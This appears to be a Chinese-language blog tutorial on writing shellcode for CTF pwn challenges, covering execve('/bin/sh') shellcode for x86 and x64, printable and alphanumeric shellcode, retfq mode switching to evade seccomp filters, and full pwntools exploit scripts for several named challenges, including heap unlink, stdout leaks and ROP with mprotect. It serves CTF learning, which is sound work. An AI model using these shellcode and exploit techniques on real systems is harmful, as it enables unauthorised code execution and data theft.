Shellcode

什么是Shellcode:

  shellcode是我们写入到程序的一段可执行代码,通过执行这串代码我们可以拿到靶机的shell,从而可以干你想干的事。不过现在的题目一般都对可以写入的位置做了限制,既可写不可执行。但如果是一道专门的shellcode题,则会在某一段加入可写可执行的权限,或则利用mprotect()或者_dl_make_stack_executable()改写某些区域的proc再执行。

  32位的shellcode和64位的略有不同,这里我们先讲32位的shellcode。

x86:

我们先用C写一个调用shell的程序,其代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
  execve("/bin/sh", 0, 0);
  return 0;          
}

  编译成32位程序:gcc -m32 -g -o test1 test1.c,运行便可以拿到我们本机的shell。

  我们调试一下看看是怎么调用execve()这个函数的。

  这里我们进入到execve()函数里,发现是这样一串汇编代码:

执行后寄存器的值为:

  我们可以发现再调用execve()函数之前,程序显示给相应的寄存器赋值,然后调用execve()函数。现在我们可以模仿这个调用机制来写相对应的汇编代码。

  不过要注意的是,之前的是一个完整的C语言程序,但在shellcode中引入这么多头文件是不现实的,因此我们用int 80h系统调用(有关int 80h的知识读者可自行百度),再者写汇编时 “/bin/sh” 这个字符串需要我们手动压入栈中,写好的程序如下:

mov edx,0
mov ecx,0
push 0x68732f
push 0x6e69622f
mov ebx,esp
mov eax,0xb
int 0x80

编写一个测试程序如下:

// gcc main.c -m32 -z execstack -o main
#include <stdio.h>
int main() {
    void (*ptr)();
    char buf[0x20];
    puts("shellcode>>");
    read(0, buf, 0x20);
    ptr = buf;
    ptr();
}

exp如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
p = process("./test")
#gdb.attach(p)
shellcode = asm('''
        mov edx, 0
        mov ecx, 0
        push 0x68732f
        push 0x6e69622f
        mov ebx, esp
        mov eax, 0xb
        int 0x80
''')
info(disasm(shellcode))
p.sendafter("shellcode>>\n", shellcode)
p.interactive()

 运行一下exp就可以拿到我们本机的shell。这里我们观察一下shellcode的十六进制机器码:

总共占29个字节,而且包含很多坏字符'\x00',容易导致shellcode被截断失去作用。这时候我们就要对shellcode进行优化。

  • mov edx, 0是对寄存器edx清零,占5个字节。xor edx, edx也是对edx寄存器清零,但是只占两个字节,因此我可以用xor指令进行替换
  • 同理,把mov ecx, 0 替换为xor ecx, ecx
  • mov eax, oxb其实是对寄存器eax低8位赋值,因此我们可以将其改为mov al, 0xb

优化后的shellcode为:

xor edx, edx
xor ecx, ecx
push 0x68732f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80

此时shellcode的大小变为20字节

另一种方法就是用mul指令来清零eax和edx,其代码如下:

mul ebx
xor ecx, ecx
mov al, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80

优化后的字节数也是20字节

 x64:

同样,先写出一个完整的C程序观察如何调用shell,代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    execve("/bin/sh", 0, 0);
    return 0;
}

编译运行并调试,有如下结果

 然后模仿这个调用过程写出汇编代码:

mov rdx, 0
mov rsi, 0
mov rdi, 0x68732f6e69622f 
push rdi
mov rdi, rsp
mov rax, 0x3b
syscall

同样对shellcode进行优化,优化后的代码如下:

mov al, 59
push rbx
push rbx
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi
syscall

 题外:几个有用的命令

nasm -f elf64 shellcode.asm
ld -m elf_x86_64 -o shellcode shellcode.o

例题:

题目附件

限制字符范围,禁用execve和open

查看题目保护:

 用IDA分析程序时发现有禁用系统调用,如下:

且限制输入的字符ascii在0x1f到0x7f,即只能输入可见字符。

思路分析:

限制了系统调用不能getshell,所以采用orw。

由上图可知open函数是禁用的。这里我们先看看允许的系统调用号为多少。

由上可知,如果我们把程序改为32位运行,就可以使用open函数,之后又改为64位运行,就可以调用read、wirte函数。

修改程序运行模式需要用到retfq这个指令,这个指令有两步操作:ret和set cs。cs=0x23程序以32位模式运行,cs=0x33程序以64位模式运行。retfq这个指令参数是放在栈中,[rsp]为要执行的代码的地址,[rsp + 0x8]为0x23或0x33。需要的注意的是,在由64位变为32位后,rsp的值会变成非法值,故需先修复rsp的值在执行相应的代码

总体思路:

  • mmap分配一段地址为4个16进制位的内存(如:0x40404040)。其有两个目的:生成地址可控的内存空间,方便用read写入code;防止程序变为32位后寄存器无法存储原本5个16进制位的地址。
  • 用汇编实现read函数
  • retfq改为32运行模式
  • open打开flag文件
  • retfq改为64位运行模式
  • read
  • wirte

踩坑记录:因为以前做到orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,在这里浪费了好多时间

完成exp如下:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
DEBUG = 1
if DEBUG == 0:
    p = process('./shellcode')
elif DEBUG == 1:
    p = remote('nc.eonew.cn', 10011)

code_append = asm('''
        push rcx
        pop rcx
''', arch = 'amd64', os = 'linux')
# 用mmap分配一段内存空间
code_mmap = asm('''
        /*mov rdi, 0x40404040*/
        push 0x40404040
        pop rdi

        /*mov rsi, 0x7e*/
        push 0x7e
        pop rsi

        /*mov rdx, 0x7*/
        push 0x37
        pop rax
        xor al, 0x30
        push rax
        pop rdx

        /*mov r8, 0*/
        push 0x30
        pop rax
        xor al, 0x30
        push rax
        pop r8

        /*mov r9, 0*/
        push rax
        pop r9

        /*syscall*/
        push 0x5e
        pop rcx
        xor byte ptr [rbx+0x2c], cl
        push 0x5c
        pop rcx
        xor byte ptr [rbx+0x2d], cl

        /*mov rax, 0x9*/
        push 0x39
        pop rax
        xor al, 0x30
''', arch = 'amd64', os = 'linux')

code_read = asm('''
        /*mov rsi, 0x40404040*/
        push 0x40404040
        pop rsi

        /*mov rdi, 0*/
        push 0x30
        pop rax
        xor al, 0x30
        push rax
        pop rdi

        /*mov rdx, 0x7e*/
        push 0x7e
        pop rdx

        /*mov rax, 0*/
        push 0x30
        pop rax
        xor al, 0x30

        /*syscall*/
        push 0x5e
        pop rcx
        xor byte ptr [rbx+0x4f], cl
        push 0x5c
        pop rcx
        xor byte ptr [rbx+0x50], cl

''', arch = 'amd64', os = 'linux')

code_retfq = asm('''
        /* 算出0x48 */
        push 0x39
        pop rcx
        xor byte ptr [rbx + 0x71], cl
        push 0x20
        pop rcx
        xor byte ptr [rbx + 0x71], cl

        /*
        * 利用无借位减法算出0xcb
        */
        push 0x47
        pop rcx
        sub byte ptr [rbx + 0x72], cl
        sub byte ptr [rbx + 0x72], cl
        push rdi
        push rdi
        push 0x23
        push 0x40404040
        pop rax
        push rax
''', arch = 'amd64', os = 'linux')

code_open = asm('''
        /* open函数 */
        mov esp, 0x40404550
        push 0x67616c66
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        mov eax, 0x5
        int 0x80
        mov ecx, eax
''', arch = 'i386', os = 'linux')

code_retfq_1 = asm(''' 
        /* retfq */
        push 0x33
        push 0x40404062 /* 具体数字有待修改 */
        retfq
''', arch = 'amd64', os = 'linux')

code_read_write = asm('''
        /* 修复栈 */
        mov esp, 0x40404550 /* 有待修改 */

        /* read函数 */
        mov rdi, rcx
        mov rsi, 0x40404800
        mov rdx, 0x7a
        xor rax, rax
        syscall

        /* write函数 */
        mov rdi, 0x1
        mov rsi, 0x40404800
        mov rdx, 0x7a
        mov rax, 0x1
        syscall
''', arch = 'amd64', os = 'linux')

#gdb.attach(p, 'b * 0x4002eb\nc\nsi')
code  = code_mmap
code += code_append
code += code_read
code += code_append
code += code_retfq
code += code_append

code1  = code_open
code1 += code_retfq_1
code1 += code_read_write

p.sendafter("shellcode: ", code)
#pause()
p.sendline(code1)
p.interactive()
p.close()

 参考博客

编写code时的一些小技巧:

1、用push、pop来给寄存其赋值
push rax
pop rax

2、用寄存器代替操作数
xor byte ptr [rax + 0x40], 0x50              80 70 40 50
可用如下代码代替
push 0x50                                    6a 50
pop rcx                                      59
xor byte ptr [rax + 0x40], cl                30 48 40

3、清零某一寄存器可用如下代码
push 0x30                                    6a 30
pop rax                                      58
xor al, 0x30                                 34 30

4、尽量使用al、bl、cl而非dl

5、有时候交换两个寄存器的位置可以减小机器码值的大小

 orw:

题目附件

32位程序,题目为比较简单,没有字符限制,直接上exp:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./orw')

code = asm('''
        /* open */
        push 0
        push 0x67616c66
        mov ebx, esp /* 第一个参数的地址 */
        xor ecx, ecx
        xor edx, edx 
        mov eax, 5 /* 系统调用号 */
        int 0x80

        /* read */
        mov ebx, eax /* 文件描述符 */
        mov ecx, 0x0804a050 /* 写入数据的内存地址 */
        mov edx, 0x20 /* 读取数据的长度 */
        mov eax, 0x3 /* 系统调用号 */
        int 0x80

        /* write */
        mov ebx, 1 /* 文件描述符 */
        mov ecx, 0x0804a050 /* flag地址 */
        mov edx, 0x20 /* 打印的数据长度 */
        mov eax, 0x4 /* 系统调用号 */
        int 0x80
        
''', arch = 'i386', os = 'linux')

#gdb.attach(p, 'b * 0x0804858a\nc\nsi')
p.sendafter("shellcode:", code + '\x00')


p.interactive()

 限制字符在[0-9]、[A-Z]:

附件

题目源代码:

// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2
int main() {
    char buf[0x200];
    int n, i;
    n = read(0, buf, 0x200);
    if (n <= 0)
        return 0;
    for (i = 0; i < n; i++) {
        if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) // 0~9 A~Z
            return 0;
    }
    ((void(*)(void))buf)();
}

这个shellcode我们可以用工具生成,具体看博客

exp如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./chall2')
payload1 = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA"
info(len(payload1))
p.send(payload1)
p.interactive()

 Death_note:

题目附件

这题把字符限制在可见字符范围内,且输入的shellcode长度不得超过0x50。这个还是比较好编写的。具体的可用的指令如下:

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

exp如下:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#p = process('./death_note')
p = remote('chall.pwnable.tw', 10201)

def Add(index, content):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('Index :', str(index))
    p.sendafter('Name :', content)

def Show(index):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('Index :', str(index))

def Delete(index):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index :', str(index))
    
#gdb.attach(p, 'b * 0x08048770\nc\nb * 0x080487c0\nb * 0x08048873\nc 3\nc 3\nsi')
shellcode = asm('''
        /* 计算/bin/sh 13 */
        push 0x2b
        pop ecx
        sub byte ptr [eax+0x44], cl
        sub byte ptr [eax+0x48], cl

        /*计算ebx*/  
        push eax
        pop ecx
        xor al, 0x44
        push eax
        pop ebx

        /* 计算int 0x80 */
        push ecx
        pop eax
        push 0x40
        pop ecx
        sub byte ptr [eax+0x37], cl
        push 0x43
        pop ecx
        sub byte ptr [eax+0x37], cl
        push 0x60
        pop ecx
        sub byte ptr [eax+0x38], cl
        push 0x70
        pop ecx
        sub byte ptr [eax+0x38], cl

        /* 清零ecx, edx 9 */
        push 0x40
        pop eax
        xor al, 0x40
        push eax
        pop ecx
        push eax
        pop edx

        push 0x4b
        pop eax
        xor al, 0x40
        
''')

payload  = shellcode
payload += '\x50'*13
payload += 'ZbinZsh\n'

Add(-19, payload)
Delete(-19)
p.interactive()

 2018-XNUCA steak:

题目附件

这道题不是单纯的编写shellcode的题目,这个题结合了堆利用、ROP、shellcode、IO_FILE等知识,是一道综合能力比较强的题目。

在用IDA分析时看到有prctl函数,所用先用seccomp工具查看禁用的系统调用。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x35 0x00 0x01 0x000000c8  if (A < tkill) goto 0005
 0004: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0005: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0007
 0006: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0007: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0009
 0008: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0009: 0x15 0x00 0x01 0x0000002a  if (A != connect) goto 0011
 0010: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0011: 0x15 0x00 0x01 0x0000002b  if (A != accept) goto 0013
 0012: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0013: 0x15 0x00 0x01 0x0000002c  if (A != sendto) goto 0015
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x15 0x00 0x01 0x0000002d  if (A != recvfrom) goto 0017
 0016: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0017: 0x15 0x00 0x01 0x0000002e  if (A != sendmsg) goto 0019
 0018: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0019: 0x15 0x00 0x01 0x0000002f  if (A != recvmsg) goto 0021
 0020: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0021: 0x15 0x00 0x01 0x00000030  if (A != shutdown) goto 0023
 0022: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0023: 0x15 0x00 0x01 0x00000031  if (A != bind) goto 0025
 0024: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0025: 0x15 0x00 0x01 0x00000032  if (A != listen) goto 0027
 0026: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0027: 0x15 0x00 0x01 0x00000035  if (A != socketpair) goto 0029
 0028: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0029: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0031
 0030: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0031: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0033
 0032: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0033: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0035
 0034: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0035: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0037
 0036: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0037: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0039
 0038: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0039: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0041
 0040: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0041: 0x06 0x00 0x00 0x7fff0000  return ALLOW

这题我在看大佬博客时说因为禁用里fork调用,所以不能用getshell这个方法,目前我也每弄清除为啥。

接下来看下程序本身的漏洞。

在add函数中读入数据时最后字符串不会添加'\x00'

在delete函数中free后没用清空指针

在edit函数中存在堆溢出

程序中还有其他漏洞,不过我们需要利用的就只有这几个。

思路分析:

  1. 程序中管理分配的chunk的数组地址是可控的,可以利用unlink来控制数组,从而达到任意地址写的目的
  2. 程序中没有leak函数,所以我们需要修改stdout表来泄漏动态链接表加载基址
  3. 向free_hook中写入puts函数泄漏栈地址(free函数对要释放的chunk的有严格的检查机制,这道题要把栈当作堆来释放,明显不符合chunk的格式,但在free时却不会报错,目前每理清楚)
  4. 向.bss节写入orw的代码
  5. mprotect修改.bss节可执行

完整的exp如下:

# -*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug') 
context.terminal = ['tmux', 'splitw', '-h']
p = process('./steak')
libc = ELF('libc-2.23.so')

def Add(size, buf):
    p.sendlineafter('>\n', '1')
    p.sendlineafter('input buf size:\n', str(size))
    p.sendafter('input buf', buf)

def Delete(index):
    p.sendlineafter('>\n', '2')
    p.sendlineafter('input index:\n', str(index))

def Edit(index, size, buf):
    p.sendlineafter('>\n', '3')
    p.sendlineafter('input index:\n', str(index))
    p.sendlineafter('input size:\n', str(size))
    p.sendafter('input new buf:\n', buf)

def Copy(sindex, dindex, length):
    p.sendlineafter('>\n', '4')
    p.sendlineafter('input source index:\n', str(sindex))
    p.sendlineafter('input dest index:\n', str(dindex))
    p.sendlineafter('input copy length:\n', str(length))

def Edit1(index, size, buf):
    p.sendlineafter('>', '3')
    p.sendlineafter('input index:', str(index))
    p.sendlineafter('input size:', str(size))
    p.sendafter('input new buf:', buf)

# unlink
Add(0x80, 'A'*0x80) #0
Add(0x80, 'A'*0x80) #1
Add(0x80, 'A'*0x80) #2
Add(0x80, 'A'*0x80) #3
Add(0x80, 'A'*0x80) #4
payload  = p64(0) + p64(0x81) + p64(0x6021a0) + p64(0x6021a8) + 'A'*0x60 + p64(0x80) + p64(0x90)
Edit(3, 0x90,payload)
Delete(4)

# 修改stdout,leak
payload = p64(0x6021a0) + p64(0x602180)
Edit(3, 0x10, payload)
Copy(1, 0, 0x8)
payload = p64(0xfbad1800) + p64(0)*3 + '\x00'
Edit(0, 0x21, payload)
p.recv(0x18)
libc_base = u64(p.recv(8)) - 0x3c36e0
libc.address = libc_base

"""
将栈地址写入到索引为0的数组中
"""
############ 写入栈地址,为free函数泄漏栈地址作准备 #################
environ_addr = libc.symbols['environ']
payload = p64(0x6021a0) + p64(environ_addr)
Edit1(3, 0x10, payload)

############ 向free_hook汇总写入puts ###################
free_hook = libc.symbols['__free_hook']
puts_addr = libc.symbols['puts']
Edit1(3, 0x8, p64(free_hook))
Edit1(0, 0x8, p64(puts_addr))

############# Delete(1),泄漏栈地址 ################
p.sendlineafter('>', '2')
p.sendlineafter('input index:', str(1))
p.recvuntil('\n')
stack_addr = u64(p.recv(6) + '\x00\x00')
info("stack_addr ==> " + hex(stack_addr))

################# 在0x602500中写入retfq orw ##############
retfq = 0x811dc + libc.address
orw = asm('''
        mov esp, 0x6029f0

        /* open */
        mov ebx, 0x602544
        mov ecx, 0
        mov edx, 0
        mov eax, 5
        int 0x80

        /* read */
        mov ebx, eax
        mov ecx, 0x602800
        mov edx, 0x40
        mov eax, 3
        int 0x80

        /* write */
        mov ebx, 1
        mov ecx, 0x602800
        mov edx, 0x40
        mov eax, 4
        int 0x80
''', arch = 'i386', os = 'linux')
Edit1(3, 0x8, p64(0x602500))
Edit1(0, len(orw) + 4, orw + 'flag')

############ mprotect #################
mprotect = libc.symbols['mprotect']
info("mprotect ==> " + hex(mprotect))
stack_ret_addr = stack_addr - 0xf0
pop_rdi = 0x0000000000400ca3
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
rop  = p64(pop_rdi) + p64(0x602000)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx) + p64(7)
rop += p64(mprotect)
rop += p64(retfq)
rop += p64(0x602500)
rop += p64(0x23) + p64(0x602500) # retfq的参数
Edit1(3, 0x8, p64(stack_ret_addr))
Edit1(0, len(rop), rop)
p.sendlineafter('>', '5')
p.interactive()

 SCTF2020 CoolCode:

题目附件

程序实现了Add、Delete、Show这三个函数,在Add函数中,输入的索引可以为负数,如下:

sub_400BA6这个函数就是对输入的字符进行限制,也存在漏洞,如下:

这题限制只能用read、write、mmap、fstat这四个系统调用

思路分析:

  1. 利用Add函数中索引可以为负数修改got表中exit为ret指令绕过字符限制
  2. 利用Add函数中索引可以为负数修改got表中free函数为read函数(read函数需要自己用汇编实现)
  3. 调用free函数向.bss节中写入retfq、open、read、write
  4. 调用Show函数获取flag

完整exp如下:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./CoolCode')
elf = ELF('CoolCode')

def Add(index, messages):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('Index: ', str(index))
    p.sendafter('messages: ', messages)

def Show(index):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('Index: ', str(index))

def Delete(index):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index: ', str(index))

code_ret = asm('''
        ret
''', arch = 'amd64')

code_read = asm('''
        xor rbx, rbx
        push rbx
        push rbx
        pop rcx
        pop rdi
        push 0x204f34ff
        pop rsi
        xor rsi, 0x202f11ff
        xor rdx, rdx
        push 0x7f
        pop rdx
        xor rax, rax
        syscall
        ret
''', arch = 'amd64')

code_retfq = asm('''
        push 0x23
        push 0x204f34ff
        pop rsi
        xor rsi, 0x202f11ff
        push rsi
        retfq
''', arch = 'amd64', os = 'linux')

code_open = asm('''
        mov esp, 0x602700

        /* open */
        mov ebx, 0x602540 /* 待修改 */
        xor ecx, ecx
        xor edx, edx
        push 5
        pop eax
        int 0x80
        push eax
        pop ebx
''', arch = 'i386', os = 'linux')

code_retfq1 = asm('''
        push 0x33
        push 0x60251e
        retfq
''', arch = 'amd64')

code_read_write = asm('''
        /* read */
        push rbx
        pop rdi
        push 0x602800
        pop rsi
        push 0x50
        pop rdx
        push 0
        pop rax
        syscall

        /* write */
        push 1
        pop rdi
        push 0x602800
        pop rsi
        push 0x50
        pop rdx
        push 1
        pop rax
        syscall
''', arch = 'amd64', os = 'linux')

Add(-22, code_ret) # 修改exit的got表,绕过字符限制
Add(-37, code_read) # 修改free为read函数
Delete(0)
payload = code_open + code_retfq1 + code_read_write + 'Aflag'
p.send(payload)
Add(-23, code_retfq) #修改_isoc99_scanf函数为retfq
#gdb.attach(p, 'b * 0x400e14\nc')
Show(0)
p.interactive()

 

posted @ 2019-10-28 23:16  countfatcode  阅读(2612)  评论(0编辑  收藏  举报